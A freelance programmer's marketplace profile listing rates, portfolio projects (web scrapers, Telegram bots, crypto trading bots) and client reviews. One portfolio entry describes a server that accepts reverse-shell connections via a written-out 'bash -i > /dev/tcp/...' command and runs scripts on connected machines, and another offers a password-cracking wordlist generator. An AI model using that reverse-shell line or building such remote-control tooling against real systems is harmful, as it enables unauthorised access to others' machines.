Dmytro Ohorodnik
Private message
Offer work
Khmelnitskyi,
Ukraine
very busy
Rating
Skills and abilities
Programming
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AI & Machine Learning
from 8 USD for hour
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Bot Development
from 68 USD for project
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Data Parsing
from 7 USD for hour
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Databases & SQL
from 7 USD for hour
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Python
from 6 USD for hour
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Web Programming
from 7 USD for hour
Services
Administration
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Linux & Unix
from 6 USD for hour
Portfolio
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113 USD www.m-ets.ru scrapper
Python
HTTPS://m-ets.ru scrapper
I deciphered the m-ets cipher and created the functions for generating cookies on the fly.
The scrapper is asynchronous. It works with Celery. You can monitor tasks with Flower.
The scrapper is super effective. It uses only bs4. There is a possibility of using proxy.
… It scrapes around 110K lots. The total data size is above 10GB. The database record has more than 30 fields.
It downloads all files and extracts all periods from a lot of page.
I used MongoDB database.
I attached the example of database record.
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79 USD Telegram chat-bot for comfortable plants selling
Bot Development
The bot helps cashiers to do their job. There is an advanced discount system implemented. The bot creates .xlsx invoice and saves it to Google Drive.
Used technologies: aiogram, opepyxl, PyDrive, requests etc.
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200 USD Copart and IAAI scrappers.
Python
I've created scrappers for copart.com and iaai.com. Also I fixed the back-end of usaac.biz a little. As a result of my work we have a calculator on the image.
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135 USD Program for Data Analysis and Visualization
Python
The program collects data in real time and visualizes them. Made with matplotlib, pandas and PyQt5.
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150 USD Development of bots for different cryptocurrency exchanges
PythonThe mechanism of work with orders. Connected the websockets to receive the signals in time and correctly. Created a Telegram bot to manage the system.
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45 USD Parser alkazar.com.ua by categories.
Python
Packing goods by selection categories. It works flashy. Aiohttp and bs4 libraries were used. Parser keeps all the information about the product, including photos. The result of the parsing. Each folder is responsible for the item of the product.
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226 USD Parser pmu.fr
Python
This is a web site with data on horse races. The site contains data of thousands of races. As a result, after the parsing, hundreds of thousands of lines were entered into the database. Parser is extremely complex in implementation, as the data tables do not have a permanent structure. Some data are not permanent and are often missing. The site is also updated and the tables are generated using JavaScript. Selenium technology was used for the implementation of the parser.
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90 USD The Origin Parker
PythonIt was originated by Parser Origin.
Used libraries: requests, selenium
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300 USD Start of work with the customer
Python
There is a csv table with data on the use of channels of customer communication.
The tasks:
1 . Identify the channel or combination of the channels when using which the probability of the client’s start (start) is most likely.
2nd To determine the degree of increased probability of starting with the client (start) when the following channel is connected (e.g. sequence: call - letter - comment, you need to determine how increased the probability of starting with the client (start) when the channel appears, after the call).
… Three Identify channels that do not affect the client's launch.
4 . To determine the optimal use of the channel (con-to-communications in the channel), after which the channel ceases to significantly affect the client’s launch.
Requirements for the result:
1 . Graphic justification of answers to paragraphs 1-3
2nd Working, self-learning model predicting the probability of starting work with the customer
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11 USD Simple Telegram-bot for the issuance of kupons
Python
It releases a coupon to ordinary users when entering /start (the button "Print"). A regular user cannot receive more than one coupon. The administrator can get as many coups as you want, and also add new coups to the database using the /updatecoupons command and the coupons.txt file.
Programming languages: Python 3.7
Used libraries: aiogram, sqlite3
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34 USD The website of pronosoft.com
Data Parsing
Parser of the site that sets out statistics on horse races. Parsets all statistics from 1 January 2013 until the launch of the parser. It keeps everything in the MySQL database.
Used libraries: pymysql, requests, bs4.
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90 USD Communication bots in Telegram
Bot Development
A full set of 4 communications bots for Telegram. It is written asynchronously.
Used libraries: aiogram, pymysql, asyncio.
The boots are focused on anonymity. You can set the routes of messages between users, for example, the user 1 writes in the bot A and the message comes to the user 2 in the bot B. The "Read" button is executed. You can add and remove users. There is the possibility to delete all the messages that a particular bot has sent. You can set the life of the route messages. After the expiry of this period, all messages on this route will be deleted. You can also cancel any removal. Management is done through strict teams.
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Repeat a bot from pytelegrambotapi to aiogram
Bot Development
The bot was called the nasosbot. It worked unstable and with delays of 5-40s. Diagnosed and taken measures. I rewrite it to asynchronous, adding a little different tics. The robot is flying like a rocket.
by P.S. The volume of the bot is more than 1000 lines.
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300 USD Server to manage microcomputers.
Python
The purpose of the server is to manage microcomputers in industrial establishments. There are two versions: a multiport that can listen to different ports at the same time, and a singleport that can listen to only one port. The server accepts connections from bash requests such as '`bash -i > /dev/tcp/ip/port 0&1`. It can manage the terminal of each customer. You can perform bash scripts on client machines. The code is written in the best traditions of OOP, so it is very easy to wrap new functions there. If you are interested in purchasing or refining, please contact the personal messages.
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A tool to generate smart and powerful wordlists.
Python
Carcosa (Before Outset PaSsword CRacKing) is a tool to assist in all the previous process of password cracking. By now, it's able to generate smart and powerful wordlists.
The idea is inspired by bopscrk of R3nt0n. I don't pretend to create this all from scratch. I just changed the logic a bit, added some syntactic sugar and optimized it. Also I recoded bopscrk from Python 2.7 to Python 3.6. So now the program runs much faster.
Reviews and compliments on completed projects 43
30 April 2020
26 USD
Create an interface (UI) for the use of a neuron network
Excellent work done, quickly and in time
| Response review
24 April 2020
56 USD
Definition of Video Theme
A great specialist. I detailed in my question. I recommend !
13 April 2020
204 USD
Разработка Telegram бота
Работа выполнена качественно!
Все супер!
Отдельное спасибо за терпение )
7 April 2020
51 USD
Консультации по проекту на python
Проект выполнен, продолжаем работать
4 April 2020
10 USD
A temporary project! Small Correction of Telegram-Bot in Python
Very pleased with cooperation! Operatively accomplished the task. I definitely recommend!
| Response review
4 April 2020
13 USD
Airbnb, авторизация и create_thread
Все выполнено. Спасибо за консультацию !
2 April 2020
10 USD
Python requests, авторизация airbnb
Сразу видно что человек мастер своего дела. Задание выполнено, большое спасибо!
17 March 2020
62 USD
Chat-bot for internal use in the trade sector
Everything is wonderful. and thank you. Dmitry answered all the questions and considered the desires regarding the right.
9 March 2020
29 USD
Repair a parser written in Python to parse information
Dmitry is a first-class programmer on Python! I performed all the tasks set at 5+ and very quickly.
I am very pleased to recommend!!The !
8 March 2020
5 USD
The Hummingbot. Find a mistake and fix it. (Bot for trading on Pyton)
Thank you for help! If necessary, I will return again.
6 March 2020
5 USD
Add a marker to the python script to translate the image vector into CSV
Great, great freelancer, I recommend it to everyone!
In my turn, all my orders will be offered in the first place to Dmitry.
Dmitry thank you for the job is pleasant to deal with a professional.
6 March 2020
5 USD
Python code to translate the image vector into CSV
Thank you very much for the work. It is a pleasure to work with a professional in your business.
The following projects will be presented to you first.
They had a great deal with the task, performed a much faster dealline and very good communication.
Thank you to all of the great programming professionals.
4 March 2020
23 USD
Acceleration (optimization) of the Telegram bot
The question was resolved very quickly. Thank you !
| Response review
2 March 2020
5 USD
Подготовительные изыскания информационного портала
Спасибо за проделанную работу.
27 February 2020
79 USD
Python software
Рекомендую до співпраці. Продовжуєм далі.
20 February 2020
23 USD
Python software
Дякую за співпрацю. Працюєм далі 🙂
20 February 2020
16 USD
Написать 2 задания на Python (стек, очередь, дерево поиска)
Professional and bad work, thank you!
19 February 2020
5 USD
Python Consultancy and Assistance for Objects
Quick and quality, I recommend.
| Response review
16 February 2020
33 USD
StreamSets DataCollector or NIFI
The work was done in time. The executive is always in contact. I recommend it.
15 January 2020
11 USD
Сделать правки в проге Python
Все отлично! Как всегда рекомендую.
7 January 2020
90 USD
Создать программу на Python для Windows
Дима проделал отличную работу! В начале сам написал ТЗ и прислал его на утверждение. После сделал все четко как утверждали и еще немного раньше чем стоял срок сдачи. Рекомендую к сотрудничеству! Я доволен)
3 January 2020
11 USD
Логика в Python - Приват
Задание выполнено качественно и в срок.
19 December 2019
23 USD
Парсер betradar.com
Проэкт выполнен хорошо. Оперативно.
19 September 2019
68 USD
Парсер сайта
Парсер сделан хорошо, учитывая архитектуру сайта на ОТЛИЧНО.
Рекомендую.
31 August 2019
7 USD
Get the processing of messages into a separate file and run on the server.
There is potential! We will develop. I recommend cooperation
| Response review
A smart guy, managed to deal with a difficult task in a new area for him. I will continue cooperation with him.
| Response review
23 August 2019
43 USD
Доработка скрипта на Python
Отлично справился с доработкой достаточно сложного бота. Рекомендую!
22 August 2019
45 USD
"Passer alkazar.com.ua by categories"
All is fine.But in the course of the work it turned out that the necessary information that they talked about before the creation of the project he can't do !!! It is offensive!
15 August 2019
113 USD
Тест данных в нейронной сети
Проэкт выполнене на отлично.
Работает четко, вникает в сюжет.
Будет продолжение.
Всем рекомендую.
13 August 2019
23 USD
Make a user name by email in Origin
I did everything quickly and quality.
7 August 2019
2 USD
Парсер исправления
Как всегда все выполнено быстро и четко.
Разработчик вникает в проект а не делает его бездумно. Что очень Важно.
Рекомендую Всем.
7 August 2019
34 USD
Parsons
Thank you !
The work is done very quickly, up to urgently!
The quality is excellent, all as you ordered.
The code is clear with clear comments.
It’s ok for the first time. Always make the maximum effort to implement the project.
I am happy with the collaboration, I recommend it to everyone, everything is fine.
5 August 2019
68 USD
Chatbot Telegram Communicator
The youth executive! The work is done qualitatively, before sending the executive to the check - it tests itself. Always in contact. In general satisfied 🙂
| Response review
4 August 2019
9 USD
Screenshots for duplicating texts into bd
Everything is perfectly performed. Working
| Response review
26 July 2019
361 USD
Консультация по машинному обучению
Вежливый, заинтересованный
18 June 2019
61 USD
Creation of the “smart measure” service
Dmitry proposed an interesting solution, implemented it quality and in time. The collaboration was easy and productive. Total assessment of the specialist: 5+
15 June 2019
23 USD
Laboratory work on the subject "Algorithms of calculation methods"!
Thank you !
The work is done very quickly, up to urgently!
The quality is excellent, all as you ordered.
I'm happy with the work, I recommend it to everyone, everything is great!
5 June 2019
51 USD
Prognosis of the customer start
The task is formally done, but there are still questions that Dmitry promises to fulfill after completion.
| Response review
28 May 2019
5 USD
The Python Laboratory
Everything is done professionally and timely.
22 May 2019
2 USD
Project of Informatics
All is fine, good freelancer.
17 May 2019
11 USD
Laboratory work on the subject "Algorithms of calculation methods"
The execution carried out the work quality and in time!
It responds quickly, cooperation is productive, I’m happy with the work.
I recommend to everyone!
8 April 2019
11 USD
Implementing recognition in Python
The highest level!Project performed.
31 March 2019
23 USD
Image Recognition of Python3
The work is performed quality and within the time limits. The executor is always in contact and quickly puts the directions into the project.
Activity
| Latest proposals 10 | Budget | Added | Deadlines | Proposal | |
|---|---|---|---|---|---|
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Hummingbot
361 USD
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Консультация по чат-боту и хостингу
11 USD
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Визначення ботнету на основі мережевого трафіку методами машинного нав
45 USD
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Решить задачи на python
20 USD
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Модель ARIMA
11 USD
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Подвязать кассовый аппарат к сайту
253 USD
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Create an interface (UI) for the use of a neuron network
26 USD
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Iaai Copart Parser
79 USD
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Написать программу Python
10 USD
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Обновить чат-бот, библиотека aiogram. Интеграция битрикс24
56 USD
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